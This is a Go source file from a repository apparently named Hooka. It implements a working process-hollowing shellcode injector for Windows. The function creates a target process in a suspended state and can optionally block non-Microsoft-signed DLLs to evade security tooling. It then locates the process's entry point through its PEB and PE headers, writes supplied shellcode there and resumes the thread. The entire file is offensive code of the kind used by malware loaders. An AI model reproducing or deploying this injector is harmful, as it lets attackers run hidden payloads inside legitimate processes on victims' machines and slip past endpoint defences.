Files
D3Ext-Hooka/shellcode/processhollowing.go
T

127 lines
4.0 KiB
Go

package shellcode
import (
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
)
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
type ProcessInformation struct {
Process uintptr
Thread uintptr
ProcessId uint32
ThreadId uint32
}
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
Flags uint32
}
func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
HeapAlloc := kernel32.NewProc("HeapAlloc")
HeapFree := kernel32.NewProc("HeapFree")
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
CreateProcessA := kernel32.NewProc("CreateProcessA")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
ZwQueryInformationProcess := ntdll.NewProc("ZwQueryInformationProcess")
var pbi PROCESS_BASIC_INFORMATION
var si StartupInfoEx
var pi ProcessInformation
if (blockdlls) {
procThreadAttributeSize := uintptr(0)
InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
procHeap, _, err := GetProcessHeap.Call()
if procHeap == 0 {
return err
}
attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
if attributeList == 0 {
return err
}
defer HeapFree.Call(procHeap, 0, attributeList)
si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
mitigate := 0x20007
nonms := uintptr(0x100000000000|0x1000000000)
r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
if r == 0 {
return err
}
}
cmd := append([]byte(proc), byte(0))
si.Cb = uint32(unsafe.Sizeof(si))
r, _, err := CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi)))
if r == 0 {
return err
}
var returnLength int32
pointerSize := unsafe.Sizeof(uintptr(0))
ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength)))
imageBaseAddress := pbi.PebBaseAddress + 0x10
addressBuffer := make([]byte, pointerSize)
var read uintptr
ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
imageBaseValue := binary.LittleEndian.Uint64(addressBuffer)
addressBuffer = make([]byte, 0x200)
ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read)))
lfaNewPos := addressBuffer[0x3c : 0x3c+0x4]
lfanew := binary.LittleEndian.Uint32(lfaNewPos)
entrypointOffset := lfanew + 0x28
entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4]
entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos)
entrypointAddress := imageBaseValue + uint64(entrypointRVA)
WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
ResumeThread.Call(uintptr(pi.Thread))
return nil
}